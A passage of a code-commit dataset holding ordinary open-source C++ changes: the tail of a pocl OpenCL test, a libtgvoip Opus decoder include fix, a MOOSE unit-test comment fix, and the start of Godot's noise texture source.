sources);\r\n\r\n        cl_device_id dev_id = devices.at(0)();\r\n\r\n        int scalar = poclu_bswap_cl_int (dev_id, 4);\r\n\r\n        for (int i = 0; i < BUFFER_SIZE; ++i)\r\n            A[i] = poclu_bswap_cl_float(dev_id, (cl_float)i);\r\n\r\n        \/\/ Build program\r\n        program.build(devices);\r\n\r\n        cl::Buffer aBuffer = cl::Buffer(\r\n            context, \r\n            CL_MEM_COPY_HOST_PTR,\r\n            BUFFER_SIZE * sizeof(float), \r\n            (void *) &A[0]);\r\n\r\n        \/\/ Create kernel object\r\n        cl::Kernel kernel(program, \"test_kernel\");\r\n\r\n        \/\/ Set kernel args\r\n        kernel.setArg(0, aBuffer);\r\n        kernel.setArg(1, (BUFFER_SIZE * sizeof(int)), NULL);\r\n        kernel.setArg(2, scalar);\r\n\r\n        \/\/ Create command queue\r\n        cl::CommandQueue queue(context, devices[0], 0);\r\n \r\n        \/\/ Do the work\r\n        queue.enqueueNDRangeKernel(\r\n            kernel, \r\n            cl::NullRange, \r\n            cl::NDRange(WORK_ITEMS),\r\n            cl::NDRange(WORK_ITEMS));\r\n \r\n        \/\/ Map aBuffer to host pointer. This enforces a sync with \r\n        \/\/ the host backing space, remember we choose GPU device.\r\n        float * res = (float *) queue.enqueueMapBuffer(\r\n            aBuffer,\r\n            CL_TRUE, \/\/ block \r\n            CL_MAP_READ,\r\n            0,\r\n            BUFFER_SIZE * sizeof(float));\r\n\r\n        res[0] = poclu_bswap_cl_float (dev_id, res[0]);\r\n        res[1] = poclu_bswap_cl_float (dev_id, res[1]);\r\n        bool ok = res[0] == 8 && res[1] == 10;\r\n        if (ok) {\r\n            return EXIT_SUCCESS;\r\n        } else {\r\n            std::cout << \"NOK \" << res[0] << \" \" << res[1] << std::endl;\r\n            std::cout << \"res@\" << std::hex << res << std::endl;\r\n            return EXIT_FAILURE;\r\n        }\r\n\r\n        \/\/ Finally release our hold on accessing the memory\r\n        queue.enqueueUnmapMemObject(\r\n            aBuffer, (void *) res);\r\n \r\n        \/\/ There is no need to perform a finish on the final unmap\r\n        \/\/ or release any objects as this all happens implicitly with\r\n        \/\/ the C++ Wrapper API.\r\n    } \r\n    catch (cl::Error err) {\r\n         std::cerr\r\n             << \"ERROR: \"\r\n             << err.what()\r\n             << \"(\"\r\n             << err.err()\r\n             << \")\"\r\n             << std::endl;\r\n\r\n         return EXIT_FAILURE;\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ libtgvoip is free and unencumbered public domain software.\n\/\/ For more information, see http:\/\/unlicense.org or the UNLICENSE file\n\/\/ you should have received with this source code distribution.\n\/\/\n\n#include \"OpusDecoder.h\"\n#include \"audio\/Resampler.h\"\n#include \"logging.h\"\n#include <assert.h>\n#include <algorithm>\n\n#include \"VoIPController.h\"\n\n#define PACKET_SIZE (960*2)\n\nusing namespace tgvoip;\n\ntgvoip::OpusDecoder::OpusDecoder(const std::shared_ptr<MediaStreamItf>& dst, bool isAsync, bool needEC){\n\tdst->SetCallback(OpusDecoder::Callback, this);\n\tInitialize(isAsync, needEC);\n}\n\ntgvoip::OpusDecoder::OpusDecoder(const std::unique_ptr<MediaStreamItf>& dst, bool isAsync, bool needEC){\n\tdst->SetCallback(OpusDecoder::Callback, this);\n\tInitialize(isAsync, needEC);\n}\n\nvoid tgvoip::OpusDecoder::Initialize(bool isAsync, bool needEC){\n\tasync=isAsync;\n\tif(async){\n\t\tdecodedQueue=new BlockingQueue<unsigned char*>(33);\n\t\tbufferPool=new BufferPool(PACKET_SIZE, 32);\n\t\tsemaphore=new Semaphore(32, 0);\n\t}else{\n\t\tdecodedQueue=NULL;\n\t\tbufferPool=NULL;\n\t\tsemaphore=NULL;\n\t}\n\tdec=opus_decoder_create(48000, 1, NULL);\n\tif(needEC)\n\t\tecDec=opus_decoder_create(48000, 1, NULL);\n\telse\n\t\tecDec=NULL;\n\tbuffer=(unsigned char *) malloc(8192);\n\tlastDecoded=NULL;\n\toutputBufferSize=0;\n\techoCanceller=NULL;\n\tframeDuration=20;\n\tconsecutiveLostPackets=0;\n\tenableDTX=false;\n\tsilentPacketCount=0;\n\tlevelMeter=NULL;\n\tnextLen=0;\n\trunning=false;\n\tremainingDataLen=0;\n\tprocessedBuffer=NULL;\n\tprevWasEC=false;\n\tprevLastSample=0;\n}\n\ntgvoip::OpusDecoder::~OpusDecoder(){\n\topus_decoder_destroy(dec);\n\tif(ecDec)\n\t\topus_decoder_destroy(ecDec);\n\tfree(buffer);\n\tif(bufferPool)\n\t\tdelete bufferPool;\n\tif(decodedQueue)\n\t\tdelete decodedQueue;\n\tif(semaphore)\n\t\tdelete semaphore;\n}\n\n\nvoid tgvoip::OpusDecoder::SetEchoCanceller(EchoCanceller* canceller){\n\techoCanceller=canceller;\n}\n\nsize_t tgvoip::OpusDecoder::Callback(unsigned char *data, size_t len, void *param){\n\treturn ((OpusDecoder*)param)->HandleCallback(data, len);\n}\n\nsize_t tgvoip::OpusDecoder::HandleCallback(unsigned char *data, size_t len){\n\tif(async){\n\t\tif(!running){\n\t\t\tmemset(data, 0, len);\n\t\t\treturn 0;\n\t\t}\n\t\tif(outputBufferSize==0){\n\t\t\toutputBufferSize=len;\n\t\t\tint packetsNeeded;\n\t\t\tif(len>PACKET_SIZE)\n\t\t\t\tpacketsNeeded=len\/PACKET_SIZE;\n\t\t\telse\n\t\t\t\tpacketsNeeded=1;\n\t\t\tpacketsNeeded*=2;\n\t\t\tsemaphore->Release(packetsNeeded);\n\t\t}\n\t\tassert(outputBufferSize==len && \"output buffer size is supposed to be the same throughout callbacks\");\n\t\tif(len==PACKET_SIZE){\n\t\t\tlastDecoded=(unsigned char *) decodedQueue->GetBlocking();\n\t\t\tif(!lastDecoded)\n\t\t\t\treturn 0;\n\t\t\tmemcpy(data, lastDecoded, PACKET_SIZE);\n\t\t\tbufferPool->Reuse(lastDecoded);\n\t\t\tsemaphore->Release();\n\t\t\tif(silentPacketCount>0){\n\t\t\t\tsilentPacketCount--;\n\t\t\t\tif(levelMeter)\n\t\t\t\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), 0);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif(echoCanceller){\n\t\t\t\techoCanceller->SpeakerOutCallback(data, PACKET_SIZE);\n\t\t\t}\n\t\t}else{\n\t\t\tLOGE(\"Opus decoder buffer length != 960 samples\");\n\t\t\tabort();\n\t\t}\n\t}else{\n\t\tif(remainingDataLen==0 && silentPacketCount==0){\n\t\t\tint duration=DecodeNextFrame();\n\t\t\tremainingDataLen=(size_t) (duration\/20*960*2);\n\t\t}\n\t\tif(silentPacketCount>0 || remainingDataLen==0 || !processedBuffer){\n\t\t\tif(silentPacketCount>0)\n\t\t\t\tsilentPacketCount--;\n\t\t\tmemset(data, 0, 960*2);\n\t\t\tif(levelMeter)\n\t\t\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), 0);\n\t\t\treturn 0;\n\t\t}\n\t\tmemcpy(data, processedBuffer, 960*2);\n\t\tremainingDataLen-=960*2;\n\t\tif(remainingDataLen>0){\n\t\t\tmemmove(processedBuffer, processedBuffer+960*2, remainingDataLen);\n\t\t}\n\t}\n\tif(levelMeter)\n\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), len\/2);\n\treturn len;\n}\n\n\nvoid tgvoip::OpusDecoder::Start(){\n\tif(!async)\n\t\treturn;\n\trunning=true;\n\tthread=new Thread(new MethodPointer<tgvoip::OpusDecoder>(&tgvoip::OpusDecoder::RunThread, this), NULL);\n\tthread->SetName(\"opus_decoder\");\n\tthread->SetMaxPriority();\n\tthread->Start();\n}\n\nvoid tgvoip::OpusDecoder::Stop(){\n\tif(!running || !async)\n\t\treturn;\n\trunning=false;\n\tsemaphore->Release();\n\tthread->Join();\n\tdelete thread;\n}\n\nvoid tgvoip::OpusDecoder::RunThread(void* param){\n\tint i;\n\tLOGI(\"decoder: packets per frame %d\", packetsPerFrame);\n\twhile(running){\n\t\tint playbackDuration=DecodeNextFrame();\n\t\tfor(i=0;i<playbackDuration\/20;i++){\n\t\t\tsemaphore->Acquire();\n\t\t\tif(!running){\n\t\t\t\tLOGI(\"==== decoder exiting ====\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tunsigned char *buf=bufferPool->Get();\n\t\t\tif(buf){\n\t\t\t\tif(remainingDataLen>0){\n\t\t\t\t\tfor(std::vector<AudioEffect*>::iterator effect=postProcEffects.begin();effect!=postProcEffects.end();++effect){\n\t\t\t\t\t\t(*effect)->Process(reinterpret_cast<int16_t*>(processedBuffer+(PACKET_SIZE*i)), 960);\n\t\t\t\t\t}\n\t\t\t\t\tmemcpy(buf, processedBuffer+(PACKET_SIZE*i), PACKET_SIZE);\n\t\t\t\t}else{\n\t\t\t\t\t\/\/LOGE(\"Error decoding, result=%d\", size);\n\t\t\t\t\tmemset(buf, 0, PACKET_SIZE);\n\t\t\t\t}\n\t\t\t\tdecodedQueue->Put(buf);\n\t\t\t}else{\n\t\t\t\tLOGW(\"decoder: no buffers left!\");\n\t\t\t}\n\t\t}\n\t}\n}\n\nint tgvoip::OpusDecoder::DecodeNextFrame(){\n\tint playbackDuration=0;\n\tbool isEC=false;\n\tsize_t len=jitterBuffer->HandleOutput(buffer, 8192, 0, true, playbackDuration, isEC);\n\tbool fec=false;\n\tif(!len){\n\t\tfec=true;\n\t\tlen=jitterBuffer->HandleOutput(buffer, 8192, 0, false, playbackDuration, isEC);\n\t\t\/\/if(len)\n\t\t\/\/\tLOGV(\"Trying FEC...\");\n\t}\n\tint size;\n\tif(len){\n\t\tsize=opus_decode(isEC ? ecDec : dec, buffer, len, (opus_int16 *) decodeBuffer, packetsPerFrame*960, fec ? 1 : 0);\n\t\tconsecutiveLostPackets=0;\n\t\tif(prevWasEC!=isEC && size){\n\t\t\t\/\/ It turns out the waveforms generated by the PLC feature are also great to help smooth out the\n\t\t\t\/\/ otherwise audible transition between the frames from different decoders. Those are basically an extrapolation\n\t\t\t\/\/ of the previous successfully decoded data -- which is exactly what we need here.\n\t\t\tsize=opus_decode(prevWasEC ? ecDec : dec, NULL, 0, (opus_int16*)nextBuffer, packetsPerFrame*960, 0);\n\t\t\tif(size){\n\t\t\t\tint16_t* plcSamples=reinterpret_cast<int16_t*>(nextBuffer);\n\t\t\t\tint16_t* samples=reinterpret_cast<int16_t*>(decodeBuffer);\n\t\t\t\tconstexpr float coeffs[]={0.999802, 0.995062, 0.984031, 0.966778, 0.943413, 0.914084, 0.878975, 0.838309, 0.792344,\n\t\t\t\t\t\t\t\t\t\t  0.741368, 0.685706, 0.625708, 0.561754, 0.494249, 0.423619, 0.350311, 0.274788, 0.197527, 0.119018, 0.039757};\n\t\t\t\tfor(int i=0;i<20;i++){\n\t\t\t\t\tsamples[i]=(int16_t)round((plcSamples[i]*coeffs[i]+(float)samples[i]*(1.0-coeffs[i])));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprevWasEC=isEC;\n\t\tprevLastSample=decodeBuffer[size-1];\n\t}else{ \/\/ do packet loss concealment\n\t\tconsecutiveLostPackets++;\n\t\tif(consecutiveLostPackets>2 && enableDTX){\n\t\t\tsilentPacketCount+=packetsPerFrame;\n\t\t\tsize=packetsPerFrame*960;\n\t\t}else{\n\t\t\tsize=opus_decode(prevWasEC ? ecDec : dec, NULL, 0, (opus_int16 *) decodeBuffer, packetsPerFrame*960, 0);\n\t\t\t\/\/LOGV(\"PLC\");\n\t\t}\n\t}\n\tif(size<0)\n\t\tLOGW(\"decoder: opus_decode error %d\", size);\n\tremainingDataLen=size;\n\tif(playbackDuration==80){\n\t\tprocessedBuffer=buffer;\n\t\taudio::Resampler::Rescale60To80((int16_t*) decodeBuffer, (int16_t*) processedBuffer);\n\t}else if(playbackDuration==40){\n\t\tprocessedBuffer=buffer;\n\t\taudio::Resampler::Rescale60To40((int16_t*) decodeBuffer, (int16_t*) processedBuffer);\n\t}else{\n\t\tprocessedBuffer=decodeBuffer;\n\t}\n\treturn playbackDuration;\n}\n\n\nvoid tgvoip::OpusDecoder::SetFrameDuration(uint32_t duration){\n\tframeDuration=duration;\n\tpacketsPerFrame=frameDuration\/20;\n}\n\n\nvoid tgvoip::OpusDecoder::SetJitterBuffer(std::shared_ptr<JitterBuffer> jitterBuffer){\n\tthis->jitterBuffer=jitterBuffer;\n}\n\nvoid tgvoip::OpusDecoder::SetDTX(bool enable){\n\tenableDTX=enable;\n}\n\nvoid tgvoip::OpusDecoder::SetLevelMeter(AudioLevelMeter *levelMeter){\n\tthis->levelMeter=levelMeter;\n}\n\nvoid tgvoip::OpusDecoder::AddAudioEffect(AudioEffect *effect){\n\tpostProcEffects.push_back(effect);\n}\n\nvoid tgvoip::OpusDecoder::RemoveAudioEffect(AudioEffect *effect){\n\tstd::vector<AudioEffect*>::iterator i=std::find(postProcEffects.begin(), postProcEffects.end(), effect);\n\tif(i!=postProcEffects.end())\n\t\tpostProcEffects.erase(i);\n}\n<commit_msg>Include fix<commit_after>\/\/\n\/\/ libtgvoip is free and unencumbered public domain software.\n\/\/ For more information, see http:\/\/unlicense.org or the UNLICENSE file\n\/\/ you should have received with this source code distribution.\n\/\/\n\n#include \"OpusDecoder.h\"\n#include \"audio\/Resampler.h\"\n#include \"logging.h\"\n#include <assert.h>\n#include <math.h>\n#include <algorithm>\n\n#include \"VoIPController.h\"\n\n#define PACKET_SIZE (960*2)\n\nusing namespace tgvoip;\n\ntgvoip::OpusDecoder::OpusDecoder(const std::shared_ptr<MediaStreamItf>& dst, bool isAsync, bool needEC){\n\tdst->SetCallback(OpusDecoder::Callback, this);\n\tInitialize(isAsync, needEC);\n}\n\ntgvoip::OpusDecoder::OpusDecoder(const std::unique_ptr<MediaStreamItf>& dst, bool isAsync, bool needEC){\n\tdst->SetCallback(OpusDecoder::Callback, this);\n\tInitialize(isAsync, needEC);\n}\n\nvoid tgvoip::OpusDecoder::Initialize(bool isAsync, bool needEC){\n\tasync=isAsync;\n\tif(async){\n\t\tdecodedQueue=new BlockingQueue<unsigned char*>(33);\n\t\tbufferPool=new BufferPool(PACKET_SIZE, 32);\n\t\tsemaphore=new Semaphore(32, 0);\n\t}else{\n\t\tdecodedQueue=NULL;\n\t\tbufferPool=NULL;\n\t\tsemaphore=NULL;\n\t}\n\tdec=opus_decoder_create(48000, 1, NULL);\n\tif(needEC)\n\t\tecDec=opus_decoder_create(48000, 1, NULL);\n\telse\n\t\tecDec=NULL;\n\tbuffer=(unsigned char *) malloc(8192);\n\tlastDecoded=NULL;\n\toutputBufferSize=0;\n\techoCanceller=NULL;\n\tframeDuration=20;\n\tconsecutiveLostPackets=0;\n\tenableDTX=false;\n\tsilentPacketCount=0;\n\tlevelMeter=NULL;\n\tnextLen=0;\n\trunning=false;\n\tremainingDataLen=0;\n\tprocessedBuffer=NULL;\n\tprevWasEC=false;\n\tprevLastSample=0;\n}\n\ntgvoip::OpusDecoder::~OpusDecoder(){\n\topus_decoder_destroy(dec);\n\tif(ecDec)\n\t\topus_decoder_destroy(ecDec);\n\tfree(buffer);\n\tif(bufferPool)\n\t\tdelete bufferPool;\n\tif(decodedQueue)\n\t\tdelete decodedQueue;\n\tif(semaphore)\n\t\tdelete semaphore;\n}\n\n\nvoid tgvoip::OpusDecoder::SetEchoCanceller(EchoCanceller* canceller){\n\techoCanceller=canceller;\n}\n\nsize_t tgvoip::OpusDecoder::Callback(unsigned char *data, size_t len, void *param){\n\treturn ((OpusDecoder*)param)->HandleCallback(data, len);\n}\n\nsize_t tgvoip::OpusDecoder::HandleCallback(unsigned char *data, size_t len){\n\tif(async){\n\t\tif(!running){\n\t\t\tmemset(data, 0, len);\n\t\t\treturn 0;\n\t\t}\n\t\tif(outputBufferSize==0){\n\t\t\toutputBufferSize=len;\n\t\t\tint packetsNeeded;\n\t\t\tif(len>PACKET_SIZE)\n\t\t\t\tpacketsNeeded=len\/PACKET_SIZE;\n\t\t\telse\n\t\t\t\tpacketsNeeded=1;\n\t\t\tpacketsNeeded*=2;\n\t\t\tsemaphore->Release(packetsNeeded);\n\t\t}\n\t\tassert(outputBufferSize==len && \"output buffer size is supposed to be the same throughout callbacks\");\n\t\tif(len==PACKET_SIZE){\n\t\t\tlastDecoded=(unsigned char *) decodedQueue->GetBlocking();\n\t\t\tif(!lastDecoded)\n\t\t\t\treturn 0;\n\t\t\tmemcpy(data, lastDecoded, PACKET_SIZE);\n\t\t\tbufferPool->Reuse(lastDecoded);\n\t\t\tsemaphore->Release();\n\t\t\tif(silentPacketCount>0){\n\t\t\t\tsilentPacketCount--;\n\t\t\t\tif(levelMeter)\n\t\t\t\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), 0);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif(echoCanceller){\n\t\t\t\techoCanceller->SpeakerOutCallback(data, PACKET_SIZE);\n\t\t\t}\n\t\t}else{\n\t\t\tLOGE(\"Opus decoder buffer length != 960 samples\");\n\t\t\tabort();\n\t\t}\n\t}else{\n\t\tif(remainingDataLen==0 && silentPacketCount==0){\n\t\t\tint duration=DecodeNextFrame();\n\t\t\tremainingDataLen=(size_t) (duration\/20*960*2);\n\t\t}\n\t\tif(silentPacketCount>0 || remainingDataLen==0 || !processedBuffer){\n\t\t\tif(silentPacketCount>0)\n\t\t\t\tsilentPacketCount--;\n\t\t\tmemset(data, 0, 960*2);\n\t\t\tif(levelMeter)\n\t\t\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), 0);\n\t\t\treturn 0;\n\t\t}\n\t\tmemcpy(data, processedBuffer, 960*2);\n\t\tremainingDataLen-=960*2;\n\t\tif(remainingDataLen>0){\n\t\t\tmemmove(processedBuffer, processedBuffer+960*2, remainingDataLen);\n\t\t}\n\t}\n\tif(levelMeter)\n\t\tlevelMeter->Update(reinterpret_cast<int16_t *>(data), len\/2);\n\treturn len;\n}\n\n\nvoid tgvoip::OpusDecoder::Start(){\n\tif(!async)\n\t\treturn;\n\trunning=true;\n\tthread=new Thread(new MethodPointer<tgvoip::OpusDecoder>(&tgvoip::OpusDecoder::RunThread, this), NULL);\n\tthread->SetName(\"opus_decoder\");\n\tthread->SetMaxPriority();\n\tthread->Start();\n}\n\nvoid tgvoip::OpusDecoder::Stop(){\n\tif(!running || !async)\n\t\treturn;\n\trunning=false;\n\tsemaphore->Release();\n\tthread->Join();\n\tdelete thread;\n}\n\nvoid tgvoip::OpusDecoder::RunThread(void* param){\n\tint i;\n\tLOGI(\"decoder: packets per frame %d\", packetsPerFrame);\n\twhile(running){\n\t\tint playbackDuration=DecodeNextFrame();\n\t\tfor(i=0;i<playbackDuration\/20;i++){\n\t\t\tsemaphore->Acquire();\n\t\t\tif(!running){\n\t\t\t\tLOGI(\"==== decoder exiting ====\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tunsigned char *buf=bufferPool->Get();\n\t\t\tif(buf){\n\t\t\t\tif(remainingDataLen>0){\n\t\t\t\t\tfor(std::vector<AudioEffect*>::iterator effect=postProcEffects.begin();effect!=postProcEffects.end();++effect){\n\t\t\t\t\t\t(*effect)->Process(reinterpret_cast<int16_t*>(processedBuffer+(PACKET_SIZE*i)), 960);\n\t\t\t\t\t}\n\t\t\t\t\tmemcpy(buf, processedBuffer+(PACKET_SIZE*i), PACKET_SIZE);\n\t\t\t\t}else{\n\t\t\t\t\t\/\/LOGE(\"Error decoding, result=%d\", size);\n\t\t\t\t\tmemset(buf, 0, PACKET_SIZE);\n\t\t\t\t}\n\t\t\t\tdecodedQueue->Put(buf);\n\t\t\t}else{\n\t\t\t\tLOGW(\"decoder: no buffers left!\");\n\t\t\t}\n\t\t}\n\t}\n}\n\nint tgvoip::OpusDecoder::DecodeNextFrame(){\n\tint playbackDuration=0;\n\tbool isEC=false;\n\tsize_t len=jitterBuffer->HandleOutput(buffer, 8192, 0, true, playbackDuration, isEC);\n\tbool fec=false;\n\tif(!len){\n\t\tfec=true;\n\t\tlen=jitterBuffer->HandleOutput(buffer, 8192, 0, false, playbackDuration, isEC);\n\t\t\/\/if(len)\n\t\t\/\/\tLOGV(\"Trying FEC...\");\n\t}\n\tint size;\n\tif(len){\n\t\tsize=opus_decode(isEC ? ecDec : dec, buffer, len, (opus_int16 *) decodeBuffer, packetsPerFrame*960, fec ? 1 : 0);\n\t\tconsecutiveLostPackets=0;\n\t\tif(prevWasEC!=isEC && size){\n\t\t\t\/\/ It turns out the waveforms generated by the PLC feature are also great to help smooth out the\n\t\t\t\/\/ otherwise audible transition between the frames from different decoders. Those are basically an extrapolation\n\t\t\t\/\/ of the previous successfully decoded data -- which is exactly what we need here.\n\t\t\tsize=opus_decode(prevWasEC ? ecDec : dec, NULL, 0, (opus_int16*)nextBuffer, packetsPerFrame*960, 0);\n\t\t\tif(size){\n\t\t\t\tint16_t* plcSamples=reinterpret_cast<int16_t*>(nextBuffer);\n\t\t\t\tint16_t* samples=reinterpret_cast<int16_t*>(decodeBuffer);\n\t\t\t\tconstexpr float coeffs[]={0.999802, 0.995062, 0.984031, 0.966778, 0.943413, 0.914084, 0.878975, 0.838309, 0.792344,\n\t\t\t\t\t\t\t\t\t\t  0.741368, 0.685706, 0.625708, 0.561754, 0.494249, 0.423619, 0.350311, 0.274788, 0.197527, 0.119018, 0.039757};\n\t\t\t\tfor(int i=0;i<20;i++){\n\t\t\t\t\tsamples[i]=(int16_t)round((plcSamples[i]*coeffs[i]+(float)samples[i]*(1.0-coeffs[i])));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprevWasEC=isEC;\n\t\tprevLastSample=decodeBuffer[size-1];\n\t}else{ \/\/ do packet loss concealment\n\t\tconsecutiveLostPackets++;\n\t\tif(consecutiveLostPackets>2 && enableDTX){\n\t\t\tsilentPacketCount+=packetsPerFrame;\n\t\t\tsize=packetsPerFrame*960;\n\t\t}else{\n\t\t\tsize=opus_decode(prevWasEC ? ecDec : dec, NULL, 0, (opus_int16 *) decodeBuffer, packetsPerFrame*960, 0);\n\t\t\t\/\/LOGV(\"PLC\");\n\t\t}\n\t}\n\tif(size<0)\n\t\tLOGW(\"decoder: opus_decode error %d\", size);\n\tremainingDataLen=size;\n\tif(playbackDuration==80){\n\t\tprocessedBuffer=buffer;\n\t\taudio::Resampler::Rescale60To80((int16_t*) decodeBuffer, (int16_t*) processedBuffer);\n\t}else if(playbackDuration==40){\n\t\tprocessedBuffer=buffer;\n\t\taudio::Resampler::Rescale60To40((int16_t*) decodeBuffer, (int16_t*) processedBuffer);\n\t}else{\n\t\tprocessedBuffer=decodeBuffer;\n\t}\n\treturn playbackDuration;\n}\n\n\nvoid tgvoip::OpusDecoder::SetFrameDuration(uint32_t duration){\n\tframeDuration=duration;\n\tpacketsPerFrame=frameDuration\/20;\n}\n\n\nvoid tgvoip::OpusDecoder::SetJitterBuffer(std::shared_ptr<JitterBuffer> jitterBuffer){\n\tthis->jitterBuffer=jitterBuffer;\n}\n\nvoid tgvoip::OpusDecoder::SetDTX(bool enable){\n\tenableDTX=enable;\n}\n\nvoid tgvoip::OpusDecoder::SetLevelMeter(AudioLevelMeter *levelMeter){\n\tthis->levelMeter=levelMeter;\n}\n\nvoid tgvoip::OpusDecoder::AddAudioEffect(AudioEffect *effect){\n\tpostProcEffects.push_back(effect);\n}\n\nvoid tgvoip::OpusDecoder::RemoveAudioEffect(AudioEffect *effect){\n\tstd::vector<AudioEffect*>::iterator i=std::find(postProcEffects.begin(), postProcEffects.end(), effect);\n\tif(i!=postProcEffects.end())\n\t\tpostProcEffects.erase(i);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"NavierStokesApp.h\"\n#include \"gtest\/gtest.h\"\n\n\/\/ Moose includes\n#include \"Moose.h\"\n#include \"MooseInit.h\"\n#include \"AppFactory.h\"\n\n#include <fstream>\n#include <string>\n\nPerfLog Moose::perf_log(\"gtest\");\n\nGTEST_API_ int\nmain(int argc, char ** argv)\n{\n  \/\/ gtest removes (only) its args from argc and argv - so this  must be before moose init\n  testing::InitGoogleTest(&argc, argv);\n\n  MooseInit init(argc, argv);\n  registerApp(NavierStokesApp);\n  Moose::_throw_on_error = true;\n\n  return RUN_ALL_TESTS();\n}\n<commit_msg>Update modules\/navier_stokes\/unit\/src\/main.C<commit_after>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"NavierStokesApp.h\"\n#include \"gtest\/gtest.h\"\n\n\/\/ Moose includes\n#include \"Moose.h\"\n#include \"MooseInit.h\"\n#include \"AppFactory.h\"\n\n#include <fstream>\n#include <string>\n\nPerfLog Moose::perf_log(\"gtest\");\n\nGTEST_API_ int\nmain(int argc, char ** argv)\n{\n  \/\/ gtest removes (only) its args from argc and argv - so this must be before moose init\n  testing::InitGoogleTest(&argc, argv);\n\n  MooseInit init(argc, argv);\n  registerApp(NavierStokesApp);\n  Moose::_throw_on_error = true;\n\n  return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  noise_texture.cpp                                                    *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"noise_texture.h\"\n\n#include \"core\/core_string_names.h\"\n\nNoiseTexture::NoiseTexture() {\n\tupdate_queued = false;\n\tnoise_thread = NULL;\n\tregen_queued = false;\n\tfirst_time = true;\n\n\tsize = Vector2i(512, 512);\n\tseamless = false;\n\tas_normalmap = false;\n\tbump_strength = 1.0; \/\/1.0 is a little low. Keep at 1.0 for compatibility for now. For 3.2 increase to 8.0.\n\tflags = FLAGS_DEFAULT;\n\n\tnoise = Ref<OpenSimplexNoise>();\n\n\ttexture = VS::get_singleton()->texture_create();\n\n\t_queue_update();\n}\n\nNoiseTexture::~NoiseTexture() {\n\tVS::get_singleton()->free(texture);\n}\n\nvoid NoiseTexture::_bind_methods() {\n\n\tClassDB::bind_method(D_METHOD(\"set_width\", \"width\"), &NoiseTexture::set_width);\n\tClassDB::bind_method(D_METHOD(\"set_height\", \"height\"), &NoiseTexture::set_height);\n\n\tClassDB::bind_method(D_METHOD(\"set_noise\", \"noise\"), &NoiseTexture::set_noise);\n\tClassDB::bind_method(D_METHOD(\"get_noise\"), &NoiseTexture::get_noise);\n\n\tClassDB::bind_method(D_METHOD(\"set_seamless\", \"seamless\"), &NoiseTexture::set_seamless);\n\tClassDB::bind_method(D_METHOD(\"get_seamless\"), &NoiseTexture::get_seamless);\n\n\tClassDB::bind_method(D_METHOD(\"set_as_normalmap\", \"as_normalmap\"), &NoiseTexture::set_as_normalmap);\n\tClassDB::bind_method(D_METHOD(\"is_normalmap\"), &NoiseTexture::is_normalmap);\n\n\tClassDB::bind_method(D_METHOD(\"set_bump_strength\", \"bump_strength\"), &NoiseTexture::set_bump_strength);\n\tClassDB::bind_method(D_METHOD(\"get_bump_strength\"), &NoiseTexture::get_bump_strength);\n\n\tClassDB::bind_method(D_METHOD(\"_update_texture\"), &NoiseTexture::_update_texture);\n\tClassDB::bind_method(D_METHOD(\"_generate_texture\"), &NoiseTexture::_generate_texture);\n\tClassDB::bind_method(D_METHOD(\"_thread_done\", \"image\"), &NoiseTexture::_thread_done);\n\n\tADD_PROPERTY(PropertyInfo(Variant::INT, \"width\", PROPERTY_HINT_RANGE, \"1,2048,1,or_greater\"), \"set_width\", 